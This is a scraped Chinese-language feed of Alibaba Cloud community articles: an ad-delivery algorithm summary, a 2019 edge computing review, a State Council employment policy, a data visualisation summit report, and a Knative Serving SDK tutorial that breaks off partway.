        进一步分析发现,通过DAG中拓扑排序的加速调度方式,可以大幅度的提升求解性能。我们在真实的7天日常任务上进行测试,用OriginBatch来表示不经DAG加速的迭代轮数,用Reduce Batch来描述加速后的迭代轮数,可以很明显的看到,相比串行的方式,使用DAG的任务可以有效地将计算速度提高14倍左右。

        1201.png

        我们给出了超参learning rate的调参比较,可以很明显的看到,在learning rate取值较小时,其收敛速度是较慢的,当取值逐渐增大,其收敛速度会显著上升,而当learning rate过大时会在最优解周围出现震荡,极端情况l=2.0时,和最优解的距离相差非常之大,就我们的系统而言,我们通常将learning rate设置在0.5到0.7之间。

        1201.png

        最后我们测试了超参λ对投放完成率和平均每次点击费用的影响。 可以看到平均CPC随λ的增加而单调下降,也就是说如果想获得更大的平台收益,增大λ似乎是一个不错的选择,但是当λ特别大时,不仅造成了完成率的下降,点击成本也并不会进一步的下降,这样会导致缺量的发生,因此我们一般会控制完成率的损失在一定的范围内,如在1%-3%之间。

        1201.png

        4.2 在线实验

        我们在手淘场景中对我们的方案进行了真实的线上测试,我们用线上的真实点击率来评估我们的投放指标。实际在线A/B实验中,采用预算分桶的测试机制来保障各个实验是在相同的预算下进行的。我们和基于贪心投放的基准算法以及传统SHALE算法进行了对比。而为了能够验证平滑pacing的作用,我们增加了SHALE-CLICK算法,即考虑点击效果,但不考虑pacing,采用轮盘赌方式进行投放。

        从图a的曲线上看,使用我们的策略得到的投放曲线最为平滑,基于贪心的基准算法在开始就花费了一半以上的预算。接下来表现不错的是SHALE算法和SHALE-CLICK算法,通过轮盘赌的方式一定程度上进行了平滑的控制,但是由于线上流量分布的变化与离线并不完全一致,导致效果并不是最优的结果。

        1201.png

        图b给出了不同算法分桶下的实时累计平均点击率,可以看到考虑点击建模的SHALE-Click算法的表现优于贪心基准算法和SHALE算法。贪心算法由于投放过快,导致其流量优选的空间受到了限制,其表现最差。在pacing算法的平滑下,我们的算法表现最佳,在刚开始投放的过程中就显示出比较明显的优势。如图c所示,实验结果显示我们的方法在点击率方面相比baseline提升22.7%,相比SHALE提升21.2%,相比SHALE-CLICK提升10.6%。实验充分表明了我们算法的有效性。

        五、总结

        通过将用户的和广告的交互指标纳入到分配的目标中去,通过设计离线分布式算法和在线的实时调控算法,可以大幅度的提高合约保量广告的投放效率和合约完成情况。在线的分桶实验进一步表明我们的算法可以在为合约广告平台提供更多收益的同时提升广告主的品牌营销效果。以上工作被 ICDM'19 以长文录用,请参见《Large-Scale Personalized Delivery for Guaranteed Display Advertising with Real-Time Pacing》

        编者按:我们是阿里妈妈品牌展示广告团队,一支以 90 后为主的年轻团队,急招算法工程师(base杭州/北京)请联系 brandship@alibaba-inc.com

        ]]>
        年度大盘点 | 一文带你回顾阿里云边缘计算的2019 Fri, 02 May 2025 09:39:04 +0800 在5G万物智联时代,云计算逐步向分布式计算网络架构演进,边缘计算来到爆发前夜。它是连接5G商用潜能的助推器,是引领数据中心变革的技术支撑,为产业数字化转型和城市智慧化建设提供近终端、低延时、更经济的算力基础。

        为了构建“离用户更近的计算”,阿里云始终奔跑在边缘计算的进阶之路上。下面让我们一起回顾,2019年阿里云边缘计算的「大事记」吧~

        1月 边缘节点服务ENS 2.0发布

        ENS 2.0引入MEC资源,将飞天算力调度、容器、函数、安全、大数据与AI等技术能力进一步融合释放,建立了“融合、开放、联动”的边缘计算平台,将计算能力进一步推进至用户10公里生活圈。同时,ENS 2.0也提供了更加弹性灵活、形态多样的分布式算力资源,并支持全面按量付费,算力、存储、带宽按天按月出账计费,帮助使用者进一步降低启动资金以及应对弹性业务需求。
        图1.png

        3月 边缘节点服务ENS正式上线OpenAPI

        边缘节点服务ENS正式支持用户使用阿里云OpenAPI调用和管理边缘实例。基于ENS OpenAPI提供的创建、查询、管控能力,用户可以轻松构建针对边缘节点的自助运维体系。

        4月 荣获“5G MEC优秀商用案例奖”

        在2019中国联通合作伙伴大会上,阿里云“基于5G边缘计算的新零售应用案例”荣获2019年度MEC优秀商用案例奖。该方案基于5G热点覆盖,将视频通过稳定可靠的链路回传,并借助MEC实现视频业务本地分流和视频AI本地分析。云+网+业务一体化交付模型,让新零售产业从传统的自建IT基础设施及运维工作之中解放出来,转变为灵活按需一键启用边缘计算服务,大幅度减少综合投资成本,简化运维。点击查看详细新闻。

        图2.png

        6月 阿里云成为中国联通5Gⁿ+边缘云创新业务运营中心首批商用合作伙伴

        2019年世界移动通信大会期间,中国联通5Gⁿ+边缘云创新业务运营中心正式成立。阿里云作为首批商用合作伙伴加入,双方将充分发挥各自技术优势,在边缘计算MEC节点、技术验证、产业应用等多方面展开深度合作,共同推进标准建设与5G应用场景创新。

        图3.png

        7月 国内首个全域边缘节点服务发布

        300+边缘节点算力100%覆盖中国大陆31个省区的三大运营商与热门地区的三线城市,全域节点带宽分区定价,满足不同地区差异化需求,更好满足网络质量敏感、时延敏感、广覆盖、流量本地化的各行业客户为体验的追求。自此阿里云边缘计算正式宣告进入“无处不在”的全新篇章。点击查看详细新闻。

        图4.png

        8月 发布边缘K8s和容器解决方案

        边缘节点服务ENS打通容器服务,支持边缘实例接入容器托管集群,赋能开发者DevOps轻松落地,统一进行资源管理与调度、镜像分发、自助运维和云端监控,极大简化了运维工作复杂度。

        9月 阿里云定义边缘计算为城市计算

        阿里云定义边缘计算是基于场景的城市计算。未来将围绕边缘芯片/设备、边缘计算平台(操作系统)、城市边缘中间件、城市边缘应用及服务这四个边缘技术栈进行布局,进一步与产业上下游的伙伴们深度融合,找到更丰富的、面向多行业的边缘应用场景,为客户打造离用户更‘近’的计算,进而承载更多新型的5G城市计算应用场景落地。点击查看详细新闻。

        图5.JPG

        9月 牵头编制《信息技术云计算边缘云计算通用技术要求(征求意见稿)》

        该标准明确对边缘云计算系统的基础设施、服务能力、统一管控、接口、安全等通用技术要求进行统一的厘清与规范,用于指导“边缘云计算”技术和产品研发、服务交付。这是阿里云继2018年12月牵头制定业界首份《边缘云计算技术与标准化白皮书》后再次助力行业标准化升级。点击查看详细新闻。

        图6.JPG

        9月 发布边缘存储、边缘智能视频云

        阿里云发布边缘存储、边缘视频云全新服务,结合此前的边缘节点服务、边缘容器,从底层资源能力、计算服务、PaaS平台、行业应用贯穿打通,全面升级边缘操作系统及分布式计算分发平台,形成体验式通用服务闭环,边缘计算再次向场景化服务迈出重要一步。点击查看ENS产品详情。

        11月 边缘节点服务ENS SLA提升至99.9%

        随着边缘节点服务场景持续拓展,ENS客户规模不断扩大,产品对客户的SLA承诺也不断加码。ENS依托稳定性三板斧,即 严格的机房和设备上线标准、全链路服务监控体系、故障快速响应恢复体系,实现99.9%稳定运营超过半年,并在11月正式升级官网SLA至99.9%。

        12月 荣获最佳智能边缘计算技术创新平台

        2019亚太内容分发大会,阿里云凭借在边缘计算领先的技术布局与创新方案,荣获“最佳智能边缘计算技术创新平台”奖项。点击查看详细新闻。

        图8.jpg

        12月 首批通过边缘云标准符合性测试

        2019中国云计算标准与应用大会上,阿里云获得由中国电子技术标准化研究院颁发的首批《边缘云标准符合性测试证书》。这是业内权威机构首次开展边缘云领域的测评认证,对于产业上下游和技术服务商具有重要指导意义。期间,阿里云积极配合中国电子技术标准化研究院完成了全部用例的编制,并顺利通过测试验收。其用例包含基础设施、基础设施服务能力、平台能力、应用服务能力、统一管控、安全要求等多个方向,获得权威机构的一致认可。点击查看详细新闻。

        图9.jpg

        以上就是阿里云边缘计算2019年度盘点。

        2020年是崭新的一年,阿里云边缘计算将继续秉承“融合、开放、联动”的理念,持续与产业伙伴连接,用技术升级大众娱乐,让科技赋能城市变革,用“离用户更近的计算”加速产业在5G万物智联之路上狂奔。

        欢迎加入ENS产品答疑钉钉群:21740823,了解更多资讯。

        ]]>
        【直播活动】全链路云上Elastic Stack | 技术专家讲解Elasticsearch“特有功能” Fri, 02 May 2025 09:39:04 +0800

        图片2.png

        点击链接,了解功能



        Elasticsearch 增强版实例介绍

        图形/语音向量检索

        可视化打标插件:Label

        可视化数据查询插件:Query Builder

        阿里云Logstash Service

        阿里云Beats 即将于2020年1月上线

        ]]>
        国务院出台稳就业指导意见,用地、补贴等多层面鼓励返乡创业 Fri, 02 May 2025 09:39:04 +0800 国务院近日印发《关于进一步做好稳就业工作的意见》,要求创造更多就业岗位和稳定现有就业岗位并重,全力做好稳就业工作。

        在扶持创业带动就业上,《意见》提出一系列新举措,鼓励和支持更多劳动者创业创新。

        进一步放开放贷,加大创业担保贷款政策实施力度,建立信用乡村、信用园区、创业孵化示范载体推荐免担保机制;对“双创”平台进一步放权,实施“双创”支撑平台项目,引导“双创”示范基地、专业化众创空间等优质孵化载体承担相关公共服务事务;鼓励支持返乡创业,在用地、孵化载体建设、人才培训、创业补贴方面给予全方位支持。

        根据《意见》,年度新增建设用地计划指标优先保障县以下返乡创业用地,支持建设一批农民工返乡创业园、农村创新创业和返乡创业孵化实训基地,建设一批县级农村电商服务中心、物流配送中心和乡镇运输服务站。同时,实施返乡创业能力提升行动,加强返乡创业重点人群、贫困村创业致富带头人、农村电商人才等培训培育。对返乡农民工首次创业且正常经营1年以上的,有条件的地区可给予一次性创业补贴。

        《意见》全文如下:

        各省、自治区、直辖市人民政府,国务院各部委、各直属机构:

        就业是民生之本、财富之源。当前我国就业形势保持总体平稳,但国内外风险挑战增多,稳就业压力加大。为全力做好稳就业工作,现提出以下意见。

        一、总体要求

        以习近平新时代中国特色社会主义思想为指导,全面贯彻党的十九大和十九届二中、三中、四中全会精神,坚持把稳就业摆在更加突出位置,强化底线思维,做实就业优先政策,健全有利于更充分更高质量就业的促进机制,坚持创造更多就业岗位和稳定现有就业岗位并重,突出重点、统筹推进、精准施策,全力防范化解规模性失业风险,全力确保就业形势总体稳定。

        二、支持企业稳定岗位

        (一)加大援企稳岗力度。阶段性降低失业保险费率、工伤保险费率的政策,实施期限延长至2021年4月30日。参保企业面临暂时性生产经营困难且恢复有望、坚持不裁员或少裁员的失业保险稳岗返还政策,以及困难企业开展职工在岗培训的补贴政策,实施期限均延长至2020年12月31日。

        (二)加强对企业金融支持。落实普惠金融定向降准政策,释放的资金重点支持民营企业和小微企业融资。鼓励银行完善金融服务民营企业和小微企业的绩效考核激励机制,增加制造业中小微企业中长期贷款和信用贷款。对扩大小微企业融资担保业务规模、降低小微企业融资担保费率等政策性引导较强的地方进行奖补。发挥各级政府中小企业工作领导小组的协调作用,支持中小企业发展,增加就业。发挥各级金融监管机构作用,鼓励银行为重点企业制定专门信贷计划,对遇到暂时困难但符合授信条件的企业,不得盲目抽贷、断贷。

        (三)引导企业开拓国内市场。完善省际间信息沟通、收益分享等机制,鼓励中西部和东北地区各类产业园区与东部产业转出地区加强对接,及时掌握有转移意愿的企业清单。推广工业用地长期租赁、先租后让、租让结合和弹性年期供应方式,降低物流和用电用能成本,有条件的地区可加大标准厂房建设力度并提供租金优惠,推动制造业跨区域有序转移。搭建跨部门综合服务平台,加强企业产销融通对接,重点支持相关企业对接国内各大电商平台和各行业、各区域大宗采购项目,支持企业拓展国内市场销售渠道。

        (四)规范企业裁员行为。支持企业与职工集体协商,采取协商薪酬、调整工时、轮岗轮休、在岗培训等措施,保留劳动关系。对拟进行经济性裁员的企业,指导其依法依规制定和实施职工安置方案,提前30日向工会或全体职工说明相关情况,依法依规支付经济补偿,偿还拖欠的职工工资,补缴欠缴的社会保险费。

        三、开发更多就业岗位

        (五)挖掘内需带动就业。实施社区生活服务业发展试点,开展家政服务业提质扩容“领跑者”行动试点工作,深入推进家政培训提升行动和家政服务领域信用建设专项行动。加强旅游公共设施建设,推进区域医疗中心建设,开展支持社会力量发展普惠托育服务专项行动。支持养老服务业发展,通过政府购买服务等方式,支持养老服务机构向重点人群提供服务。鼓励汽车、家电、消费电子产品更新消费,有力有序推进老旧汽车报废更新,鼓励限购城市优化机动车限购管理措施。培育国内服务外包市场,支持行政事业单位、国有企业采购专业服务。

        (六)加大投资创造就业。合理扩大有效投资,适当降低部分基础设施等项目资本金比例,加快发行使用地方政府专项债券,确保精准投入补短板重点项目。实施城镇老旧小区改造、棚户区改造、农村危房改造等工程,支持城市停车场设施建设,加快国家物流枢纽网络建设。深入实施新一轮重大技术改造升级工程。

        (七)稳定外贸扩大就业。研究适时进一步降低进口关税和制度性成本,扩大出口信用保险覆盖面、合理降低保费,确保审核办理正常退税平均时间在10个工作日以内。发挥行业协会、商会、中介机构等作用,引导企业增强议价能力,鼓励提供公益法律服务。建设国际营销服务体系,加快跨境电子商务综合试验区建设,做大做强外贸综合服务企业。

        (八)培育壮大新动能拓展就业空间。加快5G商用发展步伐,深入推进战略性新兴产业集群发展工程,加强人工智能、工业互联网等领域基础设施投资和产业布局。支持科技型企业开展联合技术攻关,完善首台(套)重大技术装备示范应用扶持政策,支持科技型企业到海外投资。加快落实促进平台经济规范健康发展的指导意见,促进新产业新业态新模式快速发展。

        四、促进劳动者多渠道就业创业

        (九)鼓励企业吸纳就业。降低小微企业创业担保贷款申请条件,当年新招用符合条件人员占现有职工比例下调为20%,职工超过100人的比例下调为10%。对企业吸纳登记失业半年以上人员就业且签订1年以上劳动合同并按规定缴纳社会保险的,有条件的地区可给予一次性吸纳就业补贴,实施期限为2020年1月1日至12月31日。

        (十)扶持创业带动就业。持续推进简政放权、放管结合、优化服务改革,进一步优化营商环境,鼓励和支持更多劳动者创业创新。加大创业担保贷款政策实施力度,建立信用乡村、信用园区、创业孵化示范载体推荐免担保机制。实施“双创”支撑平台项目,引导“双创”示范基地、专业化众创空间等优质孵化载体承担相关公共服务事务。鼓励支持返乡创业,年度新增建设用地计划指标优先保障县以下返乡创业用地,支持建设一批农民工返乡创业园、农村创新创业和返乡创业孵化实训基地,建设一批县级农村电商服务中心、物流配送中心和乡镇运输服务站。实施返乡创业能力提升行动,加强返乡创业重点人群、贫困村创业致富带头人、农村电商人才等培训培育。对返乡农民工首次创业且正常经营1年以上的,有条件的地区可给予一次性创业补贴。

        (十一)支持灵活就业和新就业形态。支持劳动者通过临时性、非全日制、季节性、弹性工作等灵活多样形式实现就业。研究完善支持灵活就业的政策措施,明确灵活就业、新就业形态人员劳动用工、就业服务、权益保障办法,启动新就业形态人员职业伤害保障试点,抓紧清理取消不合理限制灵活就业的规定。对就业困难人员享受灵活就业社会保险补贴政策期满仍未实现稳定就业的,政策享受期限可延长1年,实施期限为2020年1月1日至12月31日。

        (十二)加强托底安置就业。加大对就业困难人员的就业援助力度,鼓励围绕补齐民生短板拓展公益性岗位。对从事公益性岗位政策期满仍未实现稳定就业的,政策享受期限可延长1年,实施期限为2020年1月1日至12月31日。在农村中小型基础设施建设、农村危房改造中实施以工代赈,组织建档立卡贫困人口参与工程项目建设。

        (十三)稳定高校毕业生等青年就业。继续组织实施农村教师特岗计划、“三支一扶”计划等基层服务项目。公开招聘一批乡村教师、医生、社会工作者充实基层服务力量。扩大征集应届高校毕业生入伍规模。扩大就业见习规模,适当提高补贴标准,支持企业开发更多见习岗位。

        五、大规模开展职业技能培训

        (十四)大力推进职业技能提升行动。落实完善职业技能提升行动政策措施,按规定给予职业培训补贴和生活费补贴。针对不同对象开展精准培训,全面开展企业职工技能提升培训或转岗转业培训,组织失业人员参加技能培训或创业培训,实施农民工、高校毕业生、退役军人、建档立卡贫困人口、残疾人等重点群体专项培训计划。支持职业院校(含技工院校)积极承担相应培训任务。

        (十五)扩大技能人才培养培训规模。推进落实职业院校奖助学金调整政策,扩大高职院校奖助学金覆盖面、提高补助标准,设立中等职业教育国家奖学金。推进各地技师学院、技工学校纳入职业教育统一招生平台。组织城乡未继续升学的初高中毕业生、20岁以下有意愿的登记失业人员参加劳动预备制培训,按规定给予培训补贴,对其中的农村学员和困难家庭成员给予生活费补贴,实施期限为2020年1月1日至12月31日。

        (十六)加强职业培训基础能力建设。启动国家产教融合建设试点,加强公共实训基地和产教融合实训基地建设。支持各类企业和职业院校(含技工院校)合作建设职工培训中心、企业大学和继续教育基地,鼓励设备设施、教学师资、课程教材等培训资源共建共享。实施新职业开发计划,加大职业技能标准和职业培训包开发力度,建立急需紧缺职业目录编制发布制度。

        六、做实就业创业服务

        (十七)推进就业服务全覆盖。劳动年龄内、有劳动能力、有就业要求、处于失业状态的城乡劳动者可在常住地进行失业登记,申请享受基本公共就业服务。健全就业信息监测系统,开放线上失业登记入口,实现失业人员基本信息、求职意愿和就业服务跨地区共享。加强重大项目、重大工程、专项治理对就业影响跟踪应对,对涉及企业关停并转的,主管部门要及时将企业信息提供给当地人力资源社会保障部门;对可能造成规模性失业的,要同步制定应对措施。

        (十八)加强岗位信息归集提供。政府投资项目产生的岗位信息、各方面开发的公益性岗位信息,在本单位网站和同级人力资源社会保障部门网站公开发布。健全岗位信息公共发布平台,市级以上公共就业人才服务机构要在2020年3月底前实现岗位信息在线发布,并向省级、国家级归集,加快实现公共机构岗位信息区域和全国公开发布。

        (十九)强化常态化管理服务。实施基层公共就业服务经办能力提升计划,建立登记失业人员定期联系和分级分类服务制度,每月至少进行1次跟踪调查,定期提供职业介绍、职业指导、创业服务,推介就业创业政策和职业培训项目,对其中的就业困难人员提供就业援助。加强重点企业跟踪服务,提供用工指导、政策咨询、劳动关系协调等服务和指导。公共就业人才服务机构、经营性人力资源服务机构和行业协会提供上述服务的,有条件的地区可根据服务人数、成效和成本等,对其给予就业创业服务补助。

        七、做好基本生活保障

        (二十)更好发挥失业保险作用。对符合领取失业保险金条件的人员,及时发放失业保险金。对领取失业保险金期满仍未就业且距离法定退休年龄不足1年的人员,可继续发放失业保险金直至法定退休年龄。对失业保险金发放出现缺口的地区,采取失业保险调剂金调剂、地方财政补贴等方式予以支持。

        (二十一)做好困难人员生活保障。对符合条件的生活困难下岗失业人员,发放临时生活补助。对生活困难的失业人员及家庭,按规定纳入最低生活保障、临时救助等社会救助范围。对实现就业的低保对象,可通过“低保渐退”等措施,增强其就业意愿和就业稳定性。

        八、加强组织保障

        (二十二)完善工作组织协调机制。县级以上地方政府要切实履行稳就业主体责任,建立政府负责人牵头、相关部门共同参与的工作组织领导机制,明确目标任务、工作责任和督促落实机制,统筹领导和推进本地区稳就业工作和规模性失业风险应对处置,压实促进就业工作责任。

        (二十三)完善资金投入保障机制。积极投入就业补助资金,统筹用好失业保险基金、工业企业结构调整专项奖补资金等,用于企业稳定岗位、鼓励就业创业、保障基本生活等稳就业支出。有条件的地方可设立就业风险储备金,用于应对突发性、规模性失业风险。

        (二十四)完善就业形势监测机制。持续抓好就业常规统计,提升数据质量和时效性,多维度开展重点区域、重点群体、重点行业、重点企业就业监测。加强移动通信、铁路运输、社保缴纳、招聘求职等大数据比对分析,健全多方参与的就业形势研判机制。

        (二十五)完善突发事件处置机制。各地区要第一时间处置因规模性失业引发的群体性突发事件,防止矛盾激化和事态扩大。处置过程中,当地政府可根据需要与可能、统筹不同群体就业需求,依法依规制定临时性应对措施。

        (二十六)完善舆论宣传引导机制。大力宣传党中央、国务院稳就业决策部署和支持就业创业政策措施,引导广大劳动者树立正确的劳动观、价值观,选树一批促进就业创业工作典型经验、典型人物,发掘一批在中西部和东北地区、艰苦边远地区、城乡基层就业创业的先进典型,及时开展表彰激励。牢牢把握信息发布和舆论引导主动权,做好舆情监测研判,建立重大舆情沟通协调和应急处置机制,消除误传误解,稳定社会预期。

        ]]>
        第一届阿里云数据可视化峰会圆满落幕 Fri, 02 May 2025 09:39:04 +0800 12月23日,2019数据可视化年度峰会在阿里巴巴西溪园区白马山庄举行,峰会以“唤醒数据,看见未来”为主题,邀请著名专家学者及一线行业实践者结合自身实践与感悟,与现场业界来宾分享主题演讲。百余位业界KOL齐聚一堂,深入解读数据可视化研发生态,剖析可视化商业化应用的前景和机会,共同探讨了如何创建创新共赢的数据可视化环境。

        现场图1.jpg

        (现场的气氛可谓是热火朝天啊!还有站在后面的小伙伴,可谓是一票难求)

        没有抢到票的小伙伴看看会上都有哪些看点吧!

        前瞻数据可视化学术方向与技术构建

        中国科技创新2030“新一代人工智能”和“大数据”专项均将可视化和可视分析列为大数据智能急需突破的关键共性技术,可见国家对可视化领域的重视,以及可视化未来蓬勃的机会。目前数据可视化的产品以轻量级小数据可视化工具为主,产品底层技术特性与国外同类产品存在一定差距,所以目前重视大数据行业中可视化生态系统的培育以及基础理论与方法研究还是非常必要的。

        同济大学主任曹楠教授

        在《针对事件序列数据的可视化及应用》的演讲中,曹楠教授认为对大规模事件序列数据的可视分析与预测能够清晰的揭示用户行为的内在规律与因果关系,在网络安全、电子商务、智慧交通以及精准医疗等诸多领域拥有广泛的应用价值。

        lADPDgQ9rYdWvtzNDS_NF3A_6000_3375.jpg

        浙江大学博士梅鸿辉

        梅鸿辉博士为我们分享了数据可视化的展望与趋势,其中包括中国可视化发展在国际上崛起的历史、可视化学术研发的方向、以及“可视化+”的概念等等。大数据的数据获取、数据清洗、数据模型、数据分析、预测仿真这些环节中都能与可视化融合,形成了可视化+的概念。更提到,数据可视化的研发趋势需要从小数据扩展到大数据,从少数专家扩展到广泛的不特定群体,在实际应用中强调方法的性能、使用的简捷和系统的智能。

        阿里云数据可视化团队技术负责人宁朗

        宁朗是阿里最早跟随团队将数据可视化真正落地到数据产品,并推动可视化技术能力对外输出的。他在会上中指出大数据可视化不仅仅是数据大屏,强调大数据大屏完成之前的数据收集和清洗非常关键,需要打破数据链融通之间的隔阂。他认为,数据可视化要有行业开发规范、把握创新边界,还要考虑呈现数据对象的感受,而不是盲目的开发。而通过可视化工具,可以响应可视化的快速变动。

        宁朗.jpg

        洞察可视化生态机会点及DataV规划

        随着物联网、云计算、移动互联网等技术的突破,更多的数据得到收集,同时也推动了数据可视化一直不断发展,目前金融、交通运输、生产领域、医疗卫生等行业更是对数据可视化愈发显示刚性需求,正在推进可视化发展的上升拐点。
        可视化的终极目标是洞悉蕴含在数据中的现象和规律,从而帮助用户高效而准确的进行决策,所以可视化生态发展的机会点也是业界一直所关注的。

        ECharts可视分析负责人李德清

        在会上详细地介绍了E charts在可视化中的基建,它基于 Javascript 的数据可视化图表库,可提供直观、生动、可交互、可个性化定制的数据可视化图表。

        李得清.jpg

        数据城市派的CEO派姐

        数据可视化工具可以帮助企业降低数据可视化的成本,使杂乱、大量的数据的可读性得到提高,让企业可以在数据中找到规律,行业上有许多数据可视化案例可以借鉴。目前在实际应用中数据可视化也具有非常广泛的应用场景。作为专业的大数据服务商,派姐对数据可视化的应用场景有深刻的理解,在演讲中以“数据可视化的应用场景”为主题分享了自己的见解。派姐首先回顾了城市规划可视化的发展历程,总结了大数据时代下,城市规划师利用数据可视化的各类场景,包括前期分析、现状分析、辅助设计、辅助决策、辅助服务与管理、数字孪生、感知未来等多种场景。对城市规划圈的数据可视化应用与发展提出了一些希望与建议。

        派姐.jpg

        阿里云产品专家央久

        作为最早进入可视化领域产品之一的DataV,从双11出发,经历过开源、产品化、打包解决方案、再到平台化,数据大屏应用场景也从双 11 电商作战,扩展到智慧城市、智慧交通等诸多领域,所以DataV未来的规划也是备受关注。央久在会上表示DataV未来要做专业化、行业化、智能化的可视化开发工具平台, 能完整地帮助数据可视化从管理到投放,从单点功能向全面化智能发展。

        央九1.jpg

        大屏显示领域资深技术专家董航程

        董航程在《数据可视化LED屏的行业趋势》的演讲中指出目前人性化的设计对工业设计是非常重要的,DataV+优秀的大屏硬件才是未来更好的可视化软硬一体的解决方案。

        董航程.jpg

        阿里云MVP陈琦

        陈琦在现场与大家分享了《数据可视化工作流进化史》。陈琦的团队依托阿里云强大的产品支撑能力,为中央宣传部、国家电网、上海申通地铁等大型国企提供专业的数据可视化定制解决方案。他认为数据可视化的大屏要做数据科学的艺术品,优秀的数据可视化大屏要让观众找到共鸣、找到规律。

        陈琦.jpg

        此次峰会我们一起探讨了数据可视化的学术动态,了解了数据可视化的基建和技术构建,以及对应用场景的探讨和更多的对未来的期待。相信未来数据可视化会以更细化的形式表达数据,以更全面的维度理解数据,以更美的方式呈现数据,使可视化更加具有冲击力。

        ]]>
        Serving Client 介绍 Fri, 02 May 2025 09:39:04 +0800 本文选自《Knative 云原生应用开发指南》
        knative海报.png
        更多云原生技术资讯可关注阿里巴巴云原生技术圈

        Golang Context

        在正式开始介绍 Knative Serving SDK 之前我们先简单的介绍一下 Golang Context 的机理,因为在 Knative Serving 中 client、Informer 的初始化和信息传递完全是基于 Golang Context 实现的。
        Golang 是从 1.7 版本开始引入的 Context ,Golang 的 Context 可以很好的简化多个 goroutine 之间以及请求域间的数据传递、取消信号和截至时间等相关操作。Context 主要有两个作用:

        1. 传输必要的数据
        2. 进行协调控制,比如终止 goroutein、设置超时时间等

        Context 定义
        Context 本身是一个接口

        type Context interface {
            Deadline() (deadline time.Time, ok bool)
            Done() <-chan struct{}
            Err() error
            Value(key interface{}) interface{}
        }

        这个接口中定义了四个方法,下面分别介绍如下:

        • Deadline 方法是获取设置的截止时间的意思,到了这个时间点,Context 会自动发起取消请求
        • Done 方法返回一个只读的 chan,如果该方法返回的 chan 可以读取,则意味着 parent Context 已经发起了取消请求, 此时应该应该做清理操作,然后退出 goroutine 并释放资源
        • Err 方法返回取消的错误原因
        • Value 方法获取该 Context 上绑定的值,是一个键值对。所以要通过一个 Key 才可以获取对应的值,这个值是线程安全的

          关于 Context 主要记住一点:可以通过 Value 传递数据,Value 是一个键值对结构。更多详细的介绍可以参见下面这些文章:
        • Concurrency Patterns in Go
        • How to correctly use context.Context in Go 1.7
        • Using context cancellation in Go
        • Go Context

        Knative Serving client 源码浅析

        在 Context 的这些特性中,Knative Serving 中重度依赖的是 Value 功能。以  Service 的 Informer 初始化为例进行说明,这里可以看到源码

        Informer “构造函数”是在 init 函数中自动注册到 injection.Default 中的。当 Informer “构造函数”被调用之后会自动把生成的 Informer 注入到 Context 中 context.WithValue(ctx, Key{}, inf), inf.Informer()
        1.png

        从上图中可以看到,Informer 初始化的时候需要调用 factory,而 factory 本身是从  Context 中获取的。下面我发再看看 factory 是怎么初始化的。
        factory 的初始化
        2.png

        可以发现 factory 也是把“构造函数”注册到 injection.Default 中,并且会把生成的 SharedInformerFactory 注入到 Context 中。而且 factory 中使用的 client(链接 kube-apiserver 使用的对象)也是从 Context 获取到的。

        可以说 Knative Serving SDK 初始化的过程是面向 Context 编程的。关键对象是自动注入到 Context,在使用的时候从 Context 中取出。
        顺带提一点,Knative Serving 的日志对象也是在 Context 保存的,当需要打印日志的时候先通过 logger := logging.FromContext(ctx) 从 Context 中拿到 logger,然后就可以使用了。这样做的好处是可以通过管理 logger 对象,比如做 trace 功能。如下所示是基于 logger 打印出来的日志,可以看到对于同一个请求的处理是可以通过 traceID 进行追踪的。下面这段日志都是对 577f8de5-cec9-4c17-84f7-f08d39f40127 这个  trace 的处理。

        {"level":"info","ts":"2019-08-28T20:24:39.871+0800","caller":"controller/service.go:67","msg":"Reconcile: default/helloworld-go","knative.dev/traceid":"be5ec711-6ca3-493c-80ed-dddfa21fd576","knative.dev/key":"default/helloworld-go"}
        {"level":"info","ts":"2019-08-28T20:24:39.871+0800","caller":"controller/controller.go:339","msg":"Reconcile succeeded. Time taken: 487.347µs.","knative.dev/traceid":"90653eda-644b-4b1e-8bdb-4a1a7a7ff0d8","knative.dev/key":"eci-test/helloworld-go"}
        {"level":"info","ts":"2019-08-28T20:24:39.871+0800","caller":"controller/service.go:106","msg":"service: default/helloworld-go route: default/helloworld-go ","knative.dev/traceid":"be5ec711-6ca3-493c-80ed-dddfa21fd576","knative.dev/key":"default/helloworld-go"}
        {"level":"info","ts":"2019-08-28T20:24:39.872+0800","caller":"controller/service.go:67","msg":"Reconcile: eci-test/helloworld-go","knative.dev/traceid":"22f6c77d-8365-4773-bd78-e011ccb2fa3d","knative.dev/key":"eci-test/helloworld-go"}
        {"level":"info","ts":"2019-08-28T20:24:39.872+0800","caller":"controller/service.go:116","msg":"service: default/helloworld-go revisions: 1 ","knative.dev/traceid":"be5ec711-6ca3-493c-80ed-dddfa21fd576","knative.dev/key":"default/helloworld-go"}
        {"level":"info","ts":"2019-08-28T20:24:39.872+0800","caller":"controller/service.go:118","msg":"service: default/helloworld-go revision: default/helloworld-go-cgt65 ","knative.dev/traceid":"be5ec711-6ca3-493c-80ed-dddfa21fd576","knative.dev/key":"default/helloworld-go"}
        {"level":"info","ts":"2019-08-28T20:24:39.872+0800","caller":"controller/controller.go:339","msg":"Reconcile succeeded. Time taken: 416.527µs.","knative.dev/traceid":"be5ec711-6ca3-493c-80ed-dddfa21fd576","knative.dev/key":"default/helloworld-go"}
        {"level":"info","ts":"2019-08-28T20:24:39.872+0800","caller":"controller/service.go:106","msg

        使用 Knative Serving SDK

        介绍完 Knative Serving client 的初始化过程,下面我们看一下应该如何在代码中用 Knative Serving SDK 进行编码。
        示例参见:https://github.com/knative-sample/serving-controller/blob/b1.0/cmd/app/app.go
        这个示例中首先使用配置初始化 *zap.SugaredLogger对象,然后基于 ctx := signals.NewContext() 生成一个 Context。signals.NewContext() 作用是监听 SIGINT 信号,也就是处理 CTRL+c 指令。这里用到了 Context 接口的 Done 函数机制。

        构造 Informer
        接着使用 ctx, informers := injection.Default.SetupInformers(ctx, cfg) 构造出所有的 informer,然后调用下面这段代码执行注入,把 informer 注入到 Context 中。

        // Start all of the informers and wait for them to sync.
            logger.Info("Starting informers.")
            if err := controller.StartInformers(ctx.Done(), informers...); err != nil {
                logger.Fatalw("Failed to start informers", err)
            }

        3.png

        从 Context 中获取 Informer
        实例代码: https://github.com/knative-sample/serving-controller/blob/v0.1/pkg/controller/controller.go
        4.png

        如上所示,所有的 informer 都是从 Context 中获取的。
        最后 Controller 初始化一个 Reconciler 接口,接口的定义如下, 里面只有一个 Reconcile 函数。这个使用方式和 sigs.k8s.io/controller-runtime 使用的逻辑是一样的。如果你之前写过 Operator 之类的功能,对这个操作应该不会陌生。

        // Reconciler is the interface that controller implementations are expected
        // to implement, so that the shared controller.Impl can drive work through it.
